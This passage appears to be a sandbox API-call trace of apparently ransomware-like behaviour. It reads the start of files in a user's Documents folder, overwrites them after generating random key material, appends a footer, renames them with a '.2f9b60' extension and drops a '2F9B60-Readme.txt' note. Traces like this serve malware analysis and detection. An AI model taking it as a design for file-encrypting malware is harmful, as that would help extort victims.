nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2457fac8, lpOverlapped=0x0 | out: lpBuffer=0x2457fa80*, lpNumberOfBytesRead=0x2457fac8*=0x4, lpOverlapped=0x0) returned 1 [0093.626] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0093.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0093.626] NtQuerySystemTime (in: CurrentTime=0x2457f9c0 | out: CurrentTime=0x2457f9c0*=132462176994574000) returned 0x0 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x239ab2ee [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x79400015 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x4539dddb [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x2f03ad3a [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x24760042 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x1be2c4ea [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x22d4c9c8 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x7f467b15 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x137957f2 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x1d2a8553 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x73029fe9 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x7c5a512 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x60b8166b [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x7b2befbc [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x4bdc04e9 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x6740409b [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x64737891 [0093.626] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x3d42b36b [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x270cdc90 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x6c8f148d [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x9f31003 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x45fad302 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x51b1c9f4 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x510cbbf4 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x3dda75fc [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x4ad1a0af [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x3e7ad7f6 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x52023a29 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x573af638 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x33b04256 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x86b1803 [0093.627] RtlRandomEx (in: Seed=0x2457f9b0 | out: Seed=0x2457f9b0) returned 0x46508482 [0093.635] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.635] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2457fa20, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2457fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0093.636] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0093.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0093.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0093.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0093.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.636] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2457fa20, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2457fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0093.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85f730 [0093.638] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.638] WriteFile (in: hFile=0xd04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2457fad0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2457fad0*=0x108, lpOverlapped=0x0) returned 1 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ebb0 [0093.639] sprintf (in: _Dest=0x1cd9ebb0, _Format="%c%c" | out: _Dest="81") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebb2, _Format="%c%c" | out: _Dest="3c") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebb4, _Format="%c%c" | out: _Dest="eb") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebb6, _Format="%c%c" | out: _Dest="7e") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebb8, _Format="%c%c" | out: _Dest="ac") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebba, _Format="%c%c" | out: _Dest="5b") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebbc, _Format="%c%c" | out: _Dest="b1") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebbe, _Format="%c%c" | out: _Dest="1b") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebc0, _Format="%c%c" | out: _Dest="fd") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebc2, _Format="%c%c" | out: _Dest="53") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebc4, _Format="%c%c" | out: _Dest="b7") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebc6, _Format="%c%c" | out: _Dest="e0") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebc8, _Format="%c%c" | out: _Dest="48") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebca, _Format="%c%c" | out: _Dest="78") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebcc, _Format="%c%c" | out: _Dest="07") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebce, _Format="%c%c" | out: _Dest="42") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebd0, _Format="%c%c" | out: _Dest="17") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebd2, _Format="%c%c" | out: _Dest="08") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebd4, _Format="%c%c" | out: _Dest="41") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebd6, _Format="%c%c" | out: _Dest="2b") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebd8, _Format="%c%c" | out: _Dest="9d") returned 2 [0093.640] sprintf (in: _Dest=0x1cd9ebda, _Format="%c%c" | out: _Dest="0a") returned 2 [0093.640] RtlInitAnsiString (in: DestinationString=0x2457fb48, SourceString="813ceb7eac5bb11bfd53b7e0487807421708412b9d0a" | out: DestinationString="813ceb7eac5bb11bfd53b7e0487807421708412b9d0a") [0093.640] RtlAnsiStringToUnicodeString (in: DestinationString=0x2457fb18, SourceString="813ceb7eac5bb11bfd53b7e0487807421708412b9d0a", AllocateDestinationString=1 | out: DestinationString="813ceb7eac5bb11bfd53b7e0487807421708412b9d0a") returned 0x0 [0093.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86eb10 [0093.641] wcscat (in: _Dest=0x1b85f310, _Source="813ceb7eac5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\813ceb7eac5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\813ceb7eac5" [0093.641] wcscat (in: _Dest=0x1b85f310, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\813ceb7eac5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\813ceb7eac5.2f9b60" [0093.641] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\813ceb7eac5.2f9b60", NtPathName=0x2457faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\813ceb7eac5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad5c0 [0093.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.642] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x2457fb58, FileInformation=0x2457fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2457fb58, FileInformation=0x2457fb68) returned 0x0 [0093.642] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x2457fb58, FileInformation=0x2457fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb10) returned 1 [0093.644] FlushFileBuffers (hFile=0xd04) returned 1 [0093.645] CloseHandle (hObject=0xd04) returned 1 [0093.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f310 [0093.646] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.646] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.646] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ebf0) returned 1 Thread: id = 538 os_tid = 0xde8 [0093.648] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wtwz.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wtwz.xlsx")) returned 0x20 [0093.649] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wtwz.xlsx", dwFileAttributes=0x20) returned 1 [0093.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Wtwz.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wtwz.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.649] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x244ff720 | out: lpFileSize=0x244ff720*=37914) returned 1 [0093.649] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x9416, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.649] ReadFile (in: hFile=0xd04, lpBuffer=0x244ff6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x244ff6e8, lpOverlapped=0x0 | out: lpBuffer=0x244ff6a0*, lpNumberOfBytesRead=0x244ff6e8*=0x4, lpOverlapped=0x0) returned 1 [0093.650] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.650] NtQuerySystemTime (in: CurrentTime=0x244ff5e0 | out: CurrentTime=0x244ff5e0*=132462176994886000) returned 0x0 [0093.650] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x68784f8c [0093.650] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x278a67dd [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x69d0c151 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x255857e0 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x27e2e6a7 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x63c373c5 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x3d7b74cf [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x65160782 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x188d98e5 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x787c6b01 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x2c62f78c [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x43cf3bda [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x262e4b0 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x11731335 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x3e4118ae [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x3eba1fad [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x30994e6c [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x6fb3fb1a [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x15dace32 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x193f3b86 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x34cad4c1 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0xb2b7814 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x4be23615 [0093.651] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x45a52182 [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x53afce83 [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x68ef0e0 [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x4f12a315 [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x661c5216 [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x6f26afd4 [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x5669d42d [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0xd09cfaf [0093.652] RtlRandomEx (in: Seed=0x244ff5d0 | out: Seed=0x244ff5d0) returned 0x59466c4e [0093.665] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.666] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x244ff640, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x244ff640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.666] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8b0) returned 1 [0093.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0093.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.667] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x244ff640, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x244ff640*=0x3c00, lpOverlapped=0x0) returned 1 [0093.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.670] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.671] WriteFile (in: hFile=0xd04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x244ff6f0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x244ff6f0*=0x104, lpOverlapped=0x0) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0093.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0093.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85f760 [0093.673] sprintf (in: _Dest=0x1b85f760, _Format="%c%c" | out: _Dest="5c") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f762, _Format="%c%c" | out: _Dest="f4") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f764, _Format="%c%c" | out: _Dest="44") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f766, _Format="%c%c" | out: _Dest="b7") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f768, _Format="%c%c" | out: _Dest="7e") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f76a, _Format="%c%c" | out: _Dest="72") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f76c, _Format="%c%c" | out: _Dest="ac") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f76e, _Format="%c%c" | out: _Dest="f8") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f770, _Format="%c%c" | out: _Dest="7d") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f772, _Format="%c%c" | out: _Dest="11") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f774, _Format="%c%c" | out: _Dest="4c") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f776, _Format="%c%c" | out: _Dest="cc") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f778, _Format="%c%c" | out: _Dest="fc") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f77a, _Format="%c%c" | out: _Dest="1b") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f77c, _Format="%c%c" | out: _Dest="8a") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f77e, _Format="%c%c" | out: _Dest="e0") returned 2 [0093.673] sprintf (in: _Dest=0x1b85f780, _Format="%c%c" | out: _Dest="eb") returned 2 [0093.674] sprintf (in: _Dest=0x1b85f782, _Format="%c%c" | out: _Dest="02") returned 2 [0093.674] RtlInitAnsiString (in: DestinationString=0x244ff768, SourceString="5cf444b77e72acf87d114cccfc1b8ae0eb02" | out: DestinationString="5cf444b77e72acf87d114cccfc1b8ae0eb02") [0093.674] RtlAnsiStringToUnicodeString (in: DestinationString=0x244ff738, SourceString="5cf444b77e72acf87d114cccfc1b8ae0eb02", AllocateDestinationString=1 | out: DestinationString="5cf444b77e72acf87d114cccfc1b8ae0eb02") returned 0x0 [0093.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cf10 [0093.674] wcscat (in: _Dest=0x1b85f310, _Source="5cf444b77" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5cf444b77") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5cf444b77" [0093.674] wcscat (in: _Dest=0x1b85f310, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5cf444b77.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5cf444b77.2f9b60" [0093.674] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5cf444b77.2f9b60", NtPathName=0x244ff710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5cf444b77.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad5c0 [0093.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.676] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x244ff778, FileInformation=0x244ff788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x244ff778, FileInformation=0x244ff788) returned 0x0 [0093.676] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x244ff778, FileInformation=0x244ff788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf10) returned 1 [0093.677] FlushFileBuffers (hFile=0xd04) returned 1 [0093.678] CloseHandle (hObject=0xd04) returned 1 [0093.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f310 [0093.679] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.679] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" 